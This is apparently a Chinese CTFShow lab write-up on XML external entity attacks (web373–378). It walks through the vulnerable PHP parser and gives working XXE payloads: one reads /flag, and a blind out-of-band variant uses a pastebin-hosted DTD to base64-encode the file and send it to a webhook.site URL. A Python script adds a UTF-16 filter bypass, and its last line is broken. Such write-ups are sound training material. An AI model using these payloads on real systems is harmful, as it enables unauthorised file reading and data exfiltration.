CTFShow-XXE

web373

详细代码解析

php 复制代码
error_reporting(0);
不返回报错
libxml_disable_entity_loader(false);
不禁止xml实例加载器
$xmlfile = file_get_contents('php://input');
接收post请求的body原始内容,当服务端需要接收 XML、JSON、二进制流等非表单数据时,php://input 是唯一选择。
(`$a=$_POST['param'];`这样的只能接收键值对形式的数据)
if(isset($xmlfile))
检查是否存在 $xmlfile 
$dom = new DOMDocument();
创建实体化DOMDocument类用于解析XML
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
解析xml内容,LIBXML_NOENT强制解析外部插入的参数,LIBXML_DTDLOAD允许解析DTD
$creds = simplexml_import_dom($dom);
把xml解析过的dom内容转换为xml实体
$ctfshow = $creds->ctfshow;
从这个实体中的子元素中提取一个叫ctfshow的子元素复制到$ctfshow

直接上传xml的payload

xml 复制代码
<!DOCTYPE test [<!ENTITY Yv SYSTEM "file:///flag">]>
<test><ctfshow>&Yv;</ctfshow></test>

web374(无回显XXE|Blind XXE)

这里我们发现这是无回显的

没找到ctfshow内网攻击机

我们这里用:
https://pastebin.com/------创建shelldtd
https://webhook.site/------读取get请求

创建shell.dtd开放端口

xml 复制代码
//shlle.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'https://webhook.site/8bc6785d-8958-4a2e-8af2-8185de955e0c/?flag=%file;'>">
%int;
%send;


//payload
<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "https://pastebin.com/raw/JyXC4bCq">
    %remote;
]>


web375

依旧
https://pastebin.com/------创建shelldtd
https://webhook.site/------读取get请求

之前的payload秒了


web376

和上题正则匹配一个东西,但是这次不分大小写,反正之前的payload没有被过滤的东西

直接之前的payload秒了

web377

这次正则匹配多了一个http

可以用16进制绕过或是别的协议访问

但是用别的协议要满足两个条件:

  1. 靶机要支持该协议
  2. 攻击机要支持被该协议访问

这里没办法,没有找到内网可以控制的肉机,自己开个网站成本太高了,在线的基本只支持https

就用16进制绕过

python 复制代码
import requests
url = 'https://9662db2b-49f7-4770-ab7b-f708c47aa7d5.challenge.ctf.show/'
payload = '''<!DOCTYPE ANY[
<!ENTITY % xxe SYSTEM "https://pastebin.com/raw/JyXC4bCq">
%xxe;
]>'''
# 关键:UTF-16 编码绕过 http 过滤
response = requests.post(url, data=payload.encode('utf-16'), verify=False)
print(data=payload.encode('utf-16'))

web378

没什么过滤

直接包含一下flag文件就可以了

相关推荐
安全小王子1 天前
nssctf_sign-ezc++
网络安全·逆向·ctf·nssctf
whcyhhh2 天前
CTF‑MISC 隐写术完整学习笔记|图片隐写全题型 + 工具 + 实战例题
python·网络安全·ctf·misc·信息隐藏
sbjdhjd4 天前
CTF 技术复盘:从参数类型绕过到正则回溯 | Merry Christmas PHP CTF(gift.php & gift_plus.php)
安全·网络安全·云计算·php·ctf·红队·网络攻防
Yan_chen6666 天前
[GXYCTF2019] PingPingPing 命令注入实操笔记
ctf·ping ping ping
wyjcxyyy24 天前
若依框架漏洞总结
java·ctf
print_Hyon1 个月前
【CTF-WEB-sql注入】使用随波逐流WEB安全工具进行SQLMAP注入
ctf
print_Hyon1 个月前
【CTF-WEB-反序列化】通过构造反序列化 POP 链,触发文件写入函数,绕过代码中自带的exit()安全头部,写入可执行的 PHP 后门
ctf
print_Hyon1 个月前
【CTF-MISC-压缩包】零宽字符+OpnenPuff+bkcrack破解层层文件加密
ctf
Sagittarius_A*1 个月前
【RCELABS】Level 1~4 —— 基础篇
靶场·php·ctf·代码审计·rce
print_Hyon2 个月前
【CTF-MISC-音频和视频】分析音频频谱,提取图片中的文件并尝试解码得到rar文件
ctf